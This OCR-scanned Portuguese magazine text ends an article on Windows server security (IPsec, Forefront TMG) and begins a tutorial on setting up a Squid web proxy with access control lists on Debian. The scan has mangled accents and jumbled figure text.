download de defini¢des de virus e ame-
agas no proéprio servidor de antivirus
com clientes instalados em todas as es-
tagdes do parque tecnolégico, recebendo
atualizacdes em periodos definidos pelo
administrador.

Algumas solugdes, além de proteger
contra os mais variados tipos de virus e
ameagas, também atua como um filtro de
contetido, analisando os acessos a websi-
tes por categoria e efetuando o bloqueio
quando necessdrio.

Portanto, mantenha sempre sua corpora-
¢do protegida com um antivirus que seja
o melhor para sua companhia.

Protegendo a comunica¢ao entre servi-
dores Windows com IPsec

IPsec é um conjunto de protocolos que
tem a fung¢do de aumentar a seguranga na
comunicagdo entre servidores e estagdes
Windows.

Com o IPsec utilizamos dois meios de
comunicacdo: o AH (Autenticacdo de
cabecalho), que garante a integridade, e
o ESP (Encapsulating Security Payload ou
Carga de Seguranca Encapsulada), que
age na criptografia dos dados. O IPsec é o
mais seguro e efetivo método de manter os
dados seguros durante a transmissao.

Podemos utilizar o IPsec em toda ou
somente em uma parte da rede, mantendo
os servidores seguros contra diversos tipos
de ataque, entre eles o Spoofing Identity
e o famoso Man-in-the-middle (alguém
capturando dados utilizando Sniffer).

No Windows Server 2008, o IPsec pode
ser implementado em diversos niveis, do-
minios, sites, unidades organizacionais e,
até mesmo, localmente.

A aplicagdo mais interessante do IPsec
se dd na comunicac¢do entre servidores
Windows dedicados a aplicacdes corpora-
tivas com servidores de Banco de Dados,
SQL Server ou Oracle.



Para que o processo funcione, é necessdrio que a funcionalidade
esteja habilitada em todos os servidores que se comunicardo com
o IPsec.

Aumentando a seguranca com um portal web seguro

Um item atualmente indispensavel para qualquer infraestrutu-
ra é uma boa solugdo de Secure Web Gateway, ou o Portal Web
Seguro.

Ter um portal web seguro proporciona um controle eficaz no
acesso a internet, as aplicagdes internas e ao cache de internet,
evita ameacas e controla vulnerabilidades, além de proteger a
corporagdo em acessos a internet usando o protocolo SSL (Secure
Socket Layer).

O Forefront Threat Management Gateway Server 2010, ou sim-
plesmente Forefront TMG, é a solugao da Microsoft para um portal
web seguro e completo.

Além de atuar como proxy, cache e firewall, o Forefront TMG
possui funcionalidades importantes que incrementam a seguranca
para a infraestrutura de servidores Windows.

O produto também pode ser usado como o firewall de borda,
ou seja, ser o responsavel direto pelos acessos que entram e saem
da corporagéo.

Nestes casos, é recomenddvel que se use, em vez do produto
tradicionalmente instalado em servidores, o0 mesmo utilizado
em solugdes de appliance, como outras solugdes disponiveis no
mercado.

A ideia de se usar uma infraestrutura de proxy, além de au-
mentar o controle no acesso a internet, protege os servidores de
aplicagdo e banco de dados e diminui a carga de acessos no firewall
de borda, uma vez que o tnico enderego IP que podera acessar a
internet serd o do servidor de proxy.

Este método é o mais usado hoje nas corporagdes que usam o
Forefront TMG como proxy para controle de acesso a internet.

Como uma solugdo de gateway web completa, o Forefront
TMG também protege a rede com as funcionalidades de Filtro
de Contetido, a inspecado de protocolo SSL, a inspegdo de redes e
a protecdo contra virus.

A solugédo de filtro de contetido controla o acesso a sites web
a partir de sua categoria, ou seja, um acesso ao site do Univer-
so Online, por exemplo, é caracterizado como um site do tipo
“Portal” e poderd ser liberado ou bloqueado, de acordo com a
politica da empresa.

Com esta funcionalidade, é possivel bloquear acessos a sites de
categoria pornografica, redes sociais, sites que pregam preconcei-
to, pedofilia, sites de conexdo bidirecional (Torrent, Kazaa, etc.),
sites de troca de mensagens instantaneas (MSN, Google Talk),
entre outros.

Essa limitacdo do uso de websites que ndo tém ligacao direta
com o foco principal da empresa auxilia na redugédo de custo que
0 acesso a internet produz, além de contribuir com a seguranca
de todo o sistema.

O Forefront TMG também proporciona protecdo a aplicagdes
web da corporagdo por meio do servico de publicagao.

O fluxo exibido na Figura 1 mostra um acesso seguro a aplica¢des
web a partir deste utilitdrio. Note que todos os acessos devem ser
configurados no DNS da rede para chegar ao servidor do Forefront
TMG, de modo que, por meio de regras de publicagdo criadas
previamente, ele envia a requisi¢do para o servidor web correto.
Assim, em caso de um ataque, o invasor ndo Chegaré ao servidor
web, mas no Forefront TMG, que nada retornara.

E importante que estes acessos sejam feitos de forma a usar
o protocolo SSL por meio de um certificado digital que devera
estar instalado tanto no Forefront TMG como no servidor web.
Também é preciso que a aplicagdo esteja preparada para o uso do
certificado digital.

Atualmente, o acesso a sites seguros tem sido usado por inva-
sores para camuflar ameagas.

Normalmente este acesso ndo deveria ser um problema para o
usudrio final, porém diversos casos de infecgdo de rede foram
reportados em acessos a sites que eram supostamente seguros,
mas que permitiram que o virus chegasse ao seu destino, encap-
sulado no protocolo SSL.

Para casos como este, o administrador pode usar a funcionali-
dade de inspegdo de pacotes SSL.

No acesso a um site em SSL (HTTPS), a requisigdo é enviada
ao Forefront TMG, que estabelece outra conexdo com o site de
destino, coleta as informacoes e analisa o pacote enviado. Caso
o trafego seja confidvel e ndo contenha nenhum tipo de ameaga
encapsulada, o Forefront TMG libera o acesso para o usudrio final.
Caso o tréfego analisado contenha uma ameaca encapsulada,
o dispositivo bloqueard o acesso e enviard uma notificagdo ao
usudrio final.

Outra caracteristica do Forefront TMG ¢é a capacidade de au-
mentar a seguranga no envio de e-mails da corporacédo. O servigo
de protecdo de correio evita a chegada de ameagas anexas a uma
mensagem, além dos SPAMs que lotam as caixas de e-mail.

Como foi dito no comego deste artigo, diariamente vdrias amea-
cas sdo descobertas, além das vulnerabilidades exploradas.

A ocorréncia destes eventos pode coincidir com um periodo
em que o antivirus e a corre¢do de vulnerabilidades por meio de
atualizacdes de seguranca ainda ndo tenham sido feitas.

Assim, para evitar a infec¢do ou invasdo do ambiente neste pe-
riodo, o Forefront TMG oferece os servicos de inspegdo de redes
e inspegdo de ameacas.

A Figura 9 mostra como o Forefront TMG protege a rede de
ameacas e vulnerabilidades.

No acesso a internet, ele analisa o pacote que trafega entre
a origem e o destino e o bloqueia em caso de uma ameaca ser
encontrada.

Assim, durante a inspegdo de redes, o Forefront TMG protege
aplicagdes Microsoft e o ambiente de vulnerabilidades mitigando
brechas de seguranga na rede.

Portanto, usar um portal web seguro é item obrigatério quando
se pensa em seguranga para servidores Windows e deve ser usado
nas formas descritas neste artigo para que o controle seja eficaz e
a performance dos dispositivos de borda seja satisfatéria.
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Para aumentar a seguranga no ambiente, mostramos que o
Forefront TMG atua como um portal web seguro, provendo ser-
vigos de proxy, cache, firewall, inspecdo SSL e inspecéo de redes
e ameagas, controlando o acesso a internet e diminuindo a carga
no firewall de borda.

Certamente existem outros métodos eficazes para se garantir
a seguran¢a em um ambiente de servidores Windows, porém os
exibidos neste artigo sdo os principais e mais utilizados no dia a
dia corporativo.

Figura 9. Método de acao do Forefront TMG para inspecdo de redes e ameacas

Conclusao

Este artigo buscou apresentar as melhores formas de se garan-
tir a seguranca em servidores Windows, desde a concepgdo da
infraestrutura até a elaborac¢do de como o trdfego correrd pela
rede da corporagao.

E importante que haja separagio entre redes protegidas por
firewalls, separando a rede de usudrios, rede de servidores em
geral, servidores de aplicagdo e servidores de banco de dados.

Ainda nesse contexto, ressaltamos a importancia de limitar o
acesso a servidores para que somente as pessoas corretas tenham
condi¢bes de operar o servidor e, assim, garantir a seguranga do
ambiente.

O artigo mostrou também as vulnerabilidades e brechas de segu-
ranga que precisam ser corrigidas no periodo da implementagao
do servidor e a importéncia de se manter sempre as atualizagdes
de seguranga instaladas em periodicidades que garantam que um
invasor ndo consiga acesso na estrutura.

Também mostrou a importancia de se proteger o tréfego entre
redes usando o IPsec e mantendo a estrutura protegida com um an-
tivirus que seja bem implementado, de forma a evitar ameagas.
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Implementacao de um
proxy web com Squid

Controlando a rede, melhorando o desempenho,
monitorando e auditando acessos

om o crescimento da tecnologia e a conectividade

entre as empresas e a internet, cada vez mais um

administrador de sistemas se preocupa com as
informacdes que estdo dentro da sua rede.

A internet traz facilidades para comunicagéo e trans-
missdo de informacdes entre empresas ou mesmo para
uso pessoal, porém, existe a preocupagdo com virus,
roubo de informagdes, m4 utilizagio de recursos e outros
tipos de incidentes de seguranca.

Dessa forma, entende-se que o acesso a web é algo que
necessita ser controlado, seja por questdes de seguranga
ou de produtividade. Aos administradores, é designada
a tarefa de implantar solu¢des com o objetivo de garantir
a seguranca da rede através de agdes como: bloqueio de
acesso a sites inadequados, controle de navegagéo dos
usudrios, cache (armazenamento) de pdginas mais aces-
sadas para otimizar o uso de recursos, bem como emitir
relatérios de navegacao para andlise posterior.

Diante desse cendrio, a Figura 1 demonstra o total
de incidentes reportados espontaneamente ao CERT.
br (Centro de Estudos, Resposta e Tratamento de In-
cidentes de Seguranca no Brasil), no periodo de 1999 a
margo de 2012, onde é possivel constatar que o niimero
de incidentes reportados é crescente, com destaque para
os anos 2009 e 2011, em relagdo ao ano anterior, tendo
um aumento considerdvel em 2011.

No que diz respeito a seguranca de rede, com o cresci-
mento de incidentes, a configuracao e utilizagdo de um
proxy cache é importante para auxiliar o administrador
a ter um controle no acesso a recursos como Web, FTP
e outros, de um modo seguro, além de estar em confor-
midade com a orientacdo da NBR ISO/IEC 27002:2005,
no item 11.4, onde diz que o acesso aos servigos de rede
internos e externos devem ser controlados, sendo que
para este ltimo, o controle pode ser feito pelo proxy.

A funcgdo bésica de um proxy na rede é servir como um
ponto intermedidrio entre a rede local e a internet, atuan-

De que se trata o artigo:

Neste artigo conheceremos o Squid, que é um servidor Proxy livre
de grande utilizacdo no mundo, dada sua robustez, seguranca e
recursos que oferece. Veremos como ele funciona como servidor de
web caching e proxy, com exemplos de regras de controle de acesso.
Para fins de andlise de acessos, sera mostrado como criar relatdrios
com o SARG.

Em que situagdo o tema é iitil:

O uso do Squid como Proxy/Cache é uma das opgdes mais utilizadas
em ambientes corporativos que adotam software livre para adminis-
trar a rede, seja através da otimizacao e melhoria do desempenho da
rede atuando como servidor de cache ou como proxy, implementan-
do restricdes de acesso a Internet, que nem sempre é possivel fazer
através do firewall.

Implementagdo de um proxy web com Squid:

Hoje em dia é necessario assegurar a boa utilizacao da internet
através de solugdes que permitam gerenciar com eficacia o seu uso
em ambientes corporativos, impedindo o acesso dos usuarios a sites
e servicos considerados inapropriados ou potencialmente perigosos
paraaempresa. Neste artigo, vamos abordar a instalagao e a configu-
racdo de um proxy web utilizando o Squid e a configuracédo do SARG,
para auditoria de acesso.

. J

dona otimizacédo da velocidade de acesso a contetidos web através
de cache, filtro de sites indesejados e controle de acessos.

Firewall versus Proxy

O firewall é composto por um conjunto de componentes tais
como filtros de pacotes, autenticagdo, proxies e outros, cada um
com uma funcionalidade diferente e desempenhando um papel
que influi diretamente no nivel de seguranga do sistema. O filtro
de pacotes e o proxy sdo configurados no perimetro da rede, atuan-
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do como intermedidrios entre a rede local
e a internet, filtrando o trafego através de
regras para determinar se certos tipos de
pacote terdo autorizagdo para passar pelo
servidor ou se serdo descartados.

O filtro de pacotes realiza o roteamento
de forma seletiva, aceitando ou descartan-
do os pacotes com base no contetido do
seu cabegalho ou com base no estado das
conexdes. Isso quer dizer que, por exem-
plo, é possivel filtrar o trafego por servigo,
através de uma regra que descarte todo
trafego destinado a portas como Telnet
e FTP, ou ainda, filtrar pacotes ICMP por
tipo ou c6digo, com o objetivo de auxiliar
na protecdo contra ataques de negacgdo de
servigos distribuidos (DDoS - Distributed
Denial of Service).

Proxies sdo solugdes que permitem ga-
nho de desempenho e economia de banda
implementando um sistema de cache no
acesso a sites, armazenando localmente
o contetido requisitado de forma que,
em uma segunda requisi¢do, ndo precise
buscar novamente na internet. Além disso,
também é possivel trabalhar com alguns
filtros de origem e destino, permitindo
um controle na navegacdo web, bem como
bloqueio de contetdos indesejados.

O proxy atua como um intermedidrio
de conexdes: o usudrio se conecta a uma
porta no firewall que, através de outra
porta, estabelece a conexdo com o destino.
Além disso, o proxy ndo permite conexdes
diretas e mascara os usudrios internos das
conexoes externas.

A Figura 2 ilustra o funcionamento de
um proxy.

Requisitos do Sistema

O Squid é uma solugdo Open Source que
rodaem plataformas Unix, Linuxe Windows.
E utilizado no mercado como acelerador e
filtro de contetido web para diversos tipos
de protocolos como, por exemplo, HTTP,
HTTPS, FTP e outros. Originalmente ba-
seado no projeto Harvest Cache Daemon,
desenvolvido no inicio da década de 90,
suporta operagdes de redirecionamento
de URL, controle de banda para protocolos
(traffic shaping), lista de controle de acesso
(ACL), médulos de autenticacdo e opgdes
para armazenamento em disco.
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Figura 2. Funcionamento de um Proxy - Fonte: MELO et al, 2006

Em relacdo aos requisitos de hardware
para o Squid, disco e memdria sdo recursos
que devem ser levados em consideragéo,
pois sdo utilizados para armazenamento
de objetos e resposta em cache. Uma pa-
gina web é formada por vdrios objetos,
tais como textos, imagens e sons. O tempo
em que um objeto serd mantido em disco
depende de fatores como, por exemplo,
a frequéncia dos acessos a essa pdgina,
espago disponivel, entre outros; assim,

quanto menor o espago em disco, menor
serd o tempo de vida de cada pagina.

O Squid utiliza uma pequena quantidade
de memdria para cada resposta em cache,
assim, existe uma relagdo entre o espago
em disco e os requisitos de memoria.
Como regra geral, é necessario ter 32 MB
de memodria para cada Giga de espago
em disco. Por exemplo, um sistema com
512 MB de RAM pode suportar um cache
de disco de 16 GB.



Tutorial

Diretivas do arquivo de configuracao

As configuragdes do Squid sdo feitas em seu arquivo squid.conf,
localizado no diretério /etc/squid. Este arquivo possui cerca de
4900 linhas, mas isto se deve ao fato do arquivo possuir para cada
opgdo a sua sintaxe e um breve resumo. A Listagem 1 apresenta
um exemplo do squid.conf.

Listagem 1. Exemplo de configuragao do squid.conf.

http_port 3128

cache_mem 8 MB

cache_dir ufs /var/spool/squid 100 16 256
cache_access_log /var/log/squid/access.log
cache_log /var/log/squid/cache.log
cache_store_log /var/log/squid/store.log
pid_filename /var/run/squid.pid
visible_hostname proxy.myhostname.com.br
cache_effective_user squid
cache_effective_group squid
reference_age 1 week

no_cache deny SSL_ports

acl MyNetwork src 192.168.x.x/24

acl gateway src 192.168.x.254

acl International dstdomain .com

acl Google dstdomain .google.com
http_access allow MyNetwork Google
http_access deny MyNetwork International
http_access allow MyNetwork

Antes de partir para a configuracdo em si, vejamos as principais
diretivas do arquivo squid.conf:
e visible_hostname — Nome do host em rede para exibi¢do em
possiveis erros ou informagdes nas solicitagdes dos clientes. Caso
a opgdo seja utilizar o nome completo da maquina, este devera
ser colocado conforme a configura¢do no arquivo /etc/hosts.
A Listagem 2 demonstra um exemplo;

Listagem 2. Exemplo do arquivo /etc/hosts.

# cat /etc/hosts
127.0.0.1  localhost
127.0.1.1  squid-lab

192.168.1.5 squid-lab.org squid-lab

¢ http_port—Essa diretiva é responsavel por especificar em qual
porta o servidor ird escutar as requisicdes. A porta padrao éa 3128,
porém, pode ser especificada outra porta, como por exemplo, a
8080, sem nenhuma complicagdo. Ao manter essa configuragéo,
o servigo estard disponivel em todas as interfaces de rede da
maquina. Para limitar o servigo a apenas uma interface, basta
configurar o IP e a porta, conforme o exemplo:

http_port 192.168.0.1:3128

¢ cache_mem - Quantidade de memoéria RAM disponibilizada
para o proxy (valor em MB). E ideal para armazenar arquivos
pequenos, como pdginas HTML e imagens, que serdo entregues
instantaneamente para os clientes;

e cache_dir — Diretério que especifica o tipo de armazenamento
que o proxy ird utilizar. O cache na meméria RAM é quase sempre
menor do que o do cache em disco, que é usado para armazenar
arquivos maiores, tais como downloads, arquivos do Windows
Update e pacotes baixados via aptitude (Nota do DevMan 1).
A sintaxe padrdo dessa diretiva é:

cache_dir ufs /var/spool/squid 100 16 256

Nota do Devilan 1

Vias de Download: 0 apt-get é uma ferramenta pratica que se encontrado nao apenas no Debian,
Ubuntu e no Kurumin, mas em outras distribui¢des baseadas no Debian, como o Xandros, Memphis e
até mesmo no Linspire. Ferramentas como o urpmi, do Mandrake, o synaptic, do Conectiva e 0 yum,
do Fedora também s&o baseados nele.

5\

0 apt-get utiliza um conceito de fontes de atualizacdo. Ele pode obter pacotes de praticamente
qualquer lugar, incluindo CD-ROMs do Debian, unidades de rede, etc. Mas o meio mais usado é
justamente baixar os pacotes via internet, 0 que permite obter sempre as versoes mais recentes dos
programas.

Embora o apt-get seja a ferramenta mais tradicional e a mais usada, ele disputa o posto com o
aptitude, um “sucessor” que se propde a resolver os mesmos problemas, mas oferece algumas
vantagens técnicas sobre o apt-get. O Aptitude é uma interface em modo texto para o sistema de
pacotes do Debian GNU/Linux. Ele permite que o usudrio/administrador veja as listas de pacotes e
realize operacdes como instalacao, atualizacao e remogdo de pacotes.

A Tabela 1 ilustra os parametros dessa diretiva.
¢ cache_access_log — Determina a localizagdo do arquivo de log
de acesso. Pode ser utilizado para fins de auditoria como, por
exemplo, verificar quem acessou o que e quando;
cache_store_log — Armazena o log detalhado sobre o processo de
armazenamento em disco, podendo fornecer informagdes como
quais arquivos foram removidos do cache, quais foram mantidos
e por quanto tempo;
e cache_log - Arquivo responsével pelo log de informagdes rela-
cionadas ao proxy, sendo ttil para depuragao de eventuais erros
que possam impedir a inicializagdo do servigo;
pid_filename — No Linux, todos os processos sdo identificados
por um niimero. Essa diretiva guarda o ntimero do processo do
Squid em execugao;
e cache_effective_user—Usudrio dono do processo do Squid. Por
questdes de seguranca, o Squid ndo deve ser executado como root.
Se o processo for iniciado como root, o Squid ird mudar o ID do
usudrio efetivo para um usudrio sem privilégios, que deve ter per-
missdo de escrita nos diretérios de cache e do arquivo de log. Por
padrao, o usudrio sem privilégios usado é o nobody, mas é possivel
criar um usudrio chamado squid, para iniciar o servigo:

useradd -g squid -s /dev/null squid
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e cache_effective_group — Grupo dono do
processo do Squid. Por padrdo, oID dogrupo | Ufs

cache_dir D

Tipo de armazenamento a ser utilizado

do Squid estd relacionado com o do usudrio | jarspool/squid

Diretdrio onde sera armazenado o cache dos dados

que iniciou o servigo. Se o usudrio for o root,

) ) 100 Espaco reservado em disco (em MB) para o cache dos objetos
ele ird mudar para o grupo do usudrio es- - — — X
» L i 16 Quantidade de diretérios de primeiro nivel a serem criados para a estrutura de cache
pecificado na diretiva cache_effective_user,
256 Quantidade de diretdrios de primeiro nivel a serem criados para a estrutura de cache

porém é possivel configurar o Squid para

usar o ID de outro grupo. Isso s6 é necessario
caso o Squid seja iniciado como root, se ndo
for o caso, essa diretiva serd ignorada. Para
criar o grupo do squid:

roupadd squid ii  aquid
g P . root@sgquid-lab:~§ I

Tabela 1. Parametros da diretiva cache_dir

root@squid-lab:~§ dpkg -1 squid

nf/Half-inst/trig-aWait/Trig-pend
,Err: uppercase=bad)
Descriptic

Internet object cache (WWW prox

Figura 3. Verificando se o pacote squid foi instalado corretamente

¢ reference_age — Determina que a lim-

peza automadtica do cache seja semanal.

Caso essa diretiva ndo esteja habilitada, o padrdo é que isso
ocorra mensalmente;

¢ no_cache deny SSL_ports — Impede a realizacdo de cache de
pdginas seguras para evitar que informagdes dindmicas sejam
consultadas posteriormente;

¢ acl - Regras de acesso. As ACLs — Access Control Lists ou Listas
de Controle de Acesso — constituem a grande flexibilidade e efici-
éncia do Squid. Através delas sdo criadas as regras para controlar
0 acesso ou ainda otimizar a utilizag¢do da Internet;

¢ http_access — Permite ou nega clientes (browsers) a acessarem
o servico HTTP baseado na lista de acesso (acl) definida.

Instalacao

Em fungéo do que foi exposto acima, é possivel ter uma ideia do
arquivo de configuracdo do Squid e de suas diretivas. A préxima
etapa a ser realizada é a instalagdo dos pacotes utilizados para uma
configuracdo funcional do servidor, que serd baseado em Debian
GNU/Linux 6.0. Vale ressaltar que o Squid também é encontrado
para formato em compilacdo ou em outras distribui¢ées, sendo
recomendado o conhecimento no gerenciamento de pacotes para
configuragdo na distribuicdo preferida pelo usudrio. O mesmo
vale para o Windows. No Debian, o gerenciamento de pacotes sera
feito via aptitude e podera ser utilizado qualquer repositério que
contenha o pacote do servidor Squid abordado nessa configuragéo.
Para instalar, execute:

# aptitude install squid

Um procedimento de verificagdo em um sistema Debian GNU/
Linux para saber se um pacote foi ou nado instalado pode ser
realizado através do comando dpkg. A Figura 3 demonstra como
verificar se o pacote estd instalado corretamente.

Configuracdes iniciais

Antes de serem iniciadas as configuragdes, é importante fa-
zer um backup do arquivo de configuragdo do Squid. Assim,
serd possivel retornar ao original, caso apague alguma linha
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indevidamente, ou simplesmente queira fazer uma consulta.
No Debian GNU/Linux que serd configurado, o arquivo squid.
conf encontra-se no diretério /etc/squid, porém, dependendo da
distribuigdo, pode estar localizado diretamente sob o /etc. Para
fazer uma copia, basta utilizar o comando cp:

# cd /etc/squid/
# cp squid.conf squid.conf.original

O arquivo de configura¢do do Squid é bem extenso devido
a documentagdo e pode ser um pouco confuso para trabalhar.
Uma vez que foi feito o backup do original, é recomendado criar
um arquivo limpo, sem comentdrios. Para isso, pode-se utilizar
o comando egrep para remover linhas que sdo iniciadas por um
comentdrio (M), linhas em branco (*$) e colocar a saida dentro do
arquivo que serd utilizado para configurar o Squid.

# egrep -v “A#|A$" squid.conf.original > squid.conf

Agora sim, iremos analisar a configuragdo do arquivo limpo e
aplicar as configuragdes iniciais para um servidor proxy cache
funcional, sem nenhuma restrigdo. Neste artigo, o editor de textos
utilizado serd o vim, porém, o usudrio poderd editar o arquivo
através de outros editores de texto. A Listagem 3 demonstra o
arquivo limpo que serd utilizado.

Dentro do arquivo squid.conf, a primeira diretiva a ser configu-
rada é a http_port, onde se estabelece que o Squid ird trabalhar
como servidor de cache apenas na rede local, que no nosso caso é
a192.168.1.0. Para isso, deve-se especificar o IP e também a porta
que o Squid ird ouvir as requisi¢ées (por padrdo, é a 3128):

http_port 192.168.1.5:3128

Outra diretiva a ser alterada é a visible_hostname, que esta re-
lacionada com o nome que serd exibido no rodapé da pdgina para
o usudrio quando o Squid retornar algum tipo de informagédo ou
erro. Aqui pode ser colocado o nome completo do servidor, que
deve ser o mesmo que estd configurado no arquivo /etc/hosts:

visible_hostname squid-lab.org




Listagem 3. Arquivo squid.conf.

# vim /etc/squid/squid.conf acl all src all

http_port 192.168.1.5:3128

visible_hostname squid-lab.org

cache_dir ufs /var/spool/squid 512 128 256

cache_mem 16 MB

aclall srcall

acl manager proto cache_object

acl localhost src 127.0.0.1/32

acl to_localhost dst 127.0.0.0/8 0.0.0.0/32

acl localnet src 10.0.0.0/8 # RFC1918 possible internal network
acl localnet src 172.16.0.0/12 # RFC1918 possible internal network
acl localnet src 192.168.0.0/16 # RFC1918 possible internal network

acl SSL_ports port 443 # https
acl SSL_ports port 563 # snews
acl SSL_ports port 873 #rsync
acl Safe_ports port 80 # http

acl Safe_ports port 21 #ftp

acl Safe_ports port 443 # https

acl Safe_ports port 70 # gopher

acl Safe_ports port 210 # wais

acl Safe_ports port 1025-65535 # unregistered ports
acl Safe_ports port 280 # http-mgmt

acl Safe_ports port 488 # gss-http

acl Safe_ports port 591 # filemaker

acl Safe_ports port 777 # multiling http

acl Safe_ports port 631 # cups

acl Safe_ports port 873 #rsync

Nessa configuracdo inicial, também serdo informadas as
diretivas referentes ao cache em disco e cache em memoéria. Para
a diretiva cache_dir, o armazenamento serd em /var/spool/
squid com 512MB de espaco, 128 diretérios e 256 subdiretérios.
Para a diretiva cache_mem ¢ definido 16 MB, ficando o arquivo
da seguinte forma:

cache_dir ufs /var/spool/squid 512 128 256
cache_mem 16 MB

A configuragdo padrdo do Squid faz com que o servigo esteja no
ar, porém todas as requisigdes sdo negadas. Como nesse primei-
ro momento o objetivo é deixar o Squid funcional, é necessario
localizar a diretiva http_access que nega (deny) as conexdes para
permitir o acesso (allow):

http_access deny all

Para permitir que todos tenham acesso a internet através do
Squid, essa linha deve ser alterada para:

http_access allow all

Nesse primeiro momento, somente essas alteragdes sdo neces-
sdrias para se configurar o Squid como um servidor Proxy cache
basico. Quando o pacote do Squid é instalado, automaticamente o
servico é iniciado. Assim, apds salvar o arquivo, o préximo passo

acl Safe_ports port 901 # SWAT
acl purge method PURGE

acl CONNECT method CONNECT
http_access allow manager localhost
http_access deny manager

http_access allow purge localhost
http_access deny purge

http_access deny !Safe_ports

http_access deny CONNECT ISSL_ports
http_access allow localhost

http_access allow all

icp_access allow localnet

icp_access deny all

hierarchy_stoplist cgi-bin ?

access_log /var/log/squid/access.log squid

refresh_pattern Aftp: 1440 20% 10080
refresh_pattern Agopher: 1440 0% 1440
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern (Release|Packages(.gz)*)$ 0 20% 2880
refresh_pattern . 0 20% 4320

acl shoutcast rep_header X-HTTP09-First-Line AICY.[0-9]
upgrade_http0.9 deny shoutcast

acl apache rep_header Server AApache
broken_vary_encoding allow apache

extension_methods REPORT MERGE MKACTIVITY CHECKOUT
hosts_file /etc/hosts

coredump_dir /var/spool/squid

é parar o servico, verificar a sintaxe do arquivo de configuragao,
gerar o cache e reiniciar o Squid. A Listagem 4 apresenta os co-
mandos para esses procedimentos.

Para conferir se o servigo estd no ar, é possivel adicionar a opgao
‘status’ ao comando invoke-rc.d:

# invoke-rc.d squid status
squid is running.

Listagem 4. Procedimentos para iniciar o servigo.

Parando o servigo:
# invoke-rc.d squid stop
Stopping Squid HTTP proxy: squid.

Verificando a sintaxe do arquivo:
#squid -k parse
Obs.: Caso o comando ndo retorne nada, a sintaxe esta correta.

Criando a estrutura de cache:
#squid -z
2012/07/22 00:10:18| Creating Swap Directories

Iniciando o servico:
# invoke-rc.d squid start
Starting Squid HTTP proxy: squid.

Configuracao dos navegadores

Com as configuracdes realizadas, o Squid estd atuando apenas
como um servidor proxy cache, ou seja, as estagdes de trabalho
da rede 192.168.1.0 irdo utilizar o servidor Proxy 192.168.1.5 como
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um intermedidrio para o acesso a internet. Para isso, a préxima
etapa é configurar os navegadores das estacdes clientes.

Internet Explorer

De uma maneira geral, os passos para configurar o Internet
Explorer para acessar a internet utilizando o servidor proxy
configurado consistem em acessar o menu Tools (Ferramentas) e
selecionar a op¢do Internet Options (Opgdes de Internet), confor-
me apresentado na Figura 4.

4 )
 —
()@ apoublank

D= ¢ X || & Rank Page %

File Cdit View Favorites [RITTN|Help

i v E) v % dm v P Deletebrowsing history. Ctrl-Shift+Del

InPrivate Browsing Ctrl=Shift+P
Tracking Protection...

ActiveX Filtering

Dingnase connection problems..

Reopen last browsing cecsion

Ackd sile Lo Stark menu

View downloads Ctrls
Pop-up Blocker 3
SmartScreen Filter 3
Manage add-ons

Compatibifity View

Compatibility View cettings

Subscnbe to thes feed..

Feed discovery "

Windows Update
F12 developer taols

Friviar prara o Oneblute

I Internet opticns I

A\,

Figura 4. Configurando o Internet Explorer — Etapa 1

Ao abrir a janela de configuragdo, é necessario clicar na aba
Connections (Conexdes) e em seguida, no botdao LAN Settings
(Configuragoes da LAN), que ird apresentar uma janela que per-
mite que seja realizada a configuracdo de acesso através de um
servidor proxy (ver Figura 5).

Neste momento, selecione a caixa Use a proxy server for your
LAN... (Usar um servidor proxy para a rede local...) e digite o
endereco IP do servidor e a porta na qual o servigo é oferecido.
Marque também a caixa Bypass proxy Server for local address
(N&o usar proxy para enderegos locais), conforme demonstrado
na Figura 6.

Ao finalizar a configuragao, clique em OK em todas as telas. Em
seguida, feche e abra novamente o navegador.

Para verificar se o Squid esta funcionando, ao abrir o navegador,
realize o acesso a algum site. Em seguida, no servidor, verifique
os logs de acesso. A Figura 7 demonstra um trecho do access.log.
Note que algumas solicitagdes de acesso jd estdo sendo tratadas.

ACL - Access Control List (Lista de Controle de Acesso)

Até este momento, a configuracdo do Squid estd restrita a um
servidor proxy cache, porém, uma das funcionalidades dessa
ferramenta é o controle das requisi¢des feitas pelos usudrios
através do uso de ACLs de acordo com a configuracdo da regra,
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Internet Options

| General I Security | Privacy | Conhentl Connections IPrograms | Advanced|

To set up an Internet connection, dick
Setup,

Dial-up and Virtual Private Network settings

Add...
Add VPM...
Remave...
Choose Settings if you need to configure a proxy Settings
server for a connection,
(@ Mever dial a connection
Dial whenever a network connection is not present
Always dial my default connection
Current haone Set default

Local Area Metwork (LAN) settings

LAM Settings do not apply to dial-up connections.
Choose Settings above for dial-up settings.

LAM settings

[ Ok ][ Cancel ] Apply

\,

Figura 5. Configurando o Internet Explorer — Etapa 2

Local Area Network (LAN) Settings

Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

Automatically detect settings
|:| Use automatic configuration script

Address

Proxy server

Use a proxy server for your LAN (These settings will not apply to

dial-up or VPN connections).

Address:  192.168.1.5 Port: 3128

IBypass proxy server for local addresses: I

i Ok ]l Cancel l

Figura 6. Configurando o Internet Explorer — Etapa 3

permitem bloquear, registrar e autorizar os acessos com diversos
parametros como:

e Origem/Destino da requisi¢do;

¢ Hordrio da requisigao;

e Endereco MAGC;

e Disponibilidade de banda de acesso;

e Filtros personalizados baseados em strings ou expressoes
regulares.



root@squid-lab: /etc/squid# tail -f /var/log/squid/access.log

1342932636.731
1342932677.572
1342932680.199
1342932694.134
1342932709.425
1342932710.180

Figura 7. Trecho do log access.log

35408 192.168.1.100 TCP_MISS/200 325 GET http://notify2.dropbox.com/subscribe? - DIRECT/
55605 192.168.1.100 TCP_MISS/200 325 GET http://notify2.dropbox.com/subscribe? - DIRECT/Z
40383 192.168.1.100 TCP MISS/200 324 GET http://notify2.dropbox.com/subscribe? - DIRECT/I
19672 192.168.1.100 TCP:MISS!ZDO 7713 CONNECT client-lb.dropbox.com:443 - DIRECT/C

16062 192.168.1.100 TCP_MISS/200 24536 CONNECT client-lb.dropbox.com:443 - DIRECT/

55288 192.168.1.100 TCP_MISS/200 325 GET http://notifyl.dropbox.com/subscribe? - DIRECT/
62789 192.168.1.100 TCP MISS/200 48493 CONNECT dl-client286.dropbox.com:443 - DIRECT/
16548 192.168.1.100 TCP_MISS/200 324 GET http://nmotifyl.dropbox.com/subscribe? - DIRECT/
19480 192.168.1.100 TCP_MISS/200 7713 CONNECT client-lb.dropbox.com:443 - DIRECT/I

16024 192.168.1.100 TCP_MISS/200 24519 CONNECT client-lb.dropbox.com:443 - DIRECT

text/plain
4 text/plain
text/plain

text/plain

text/plain

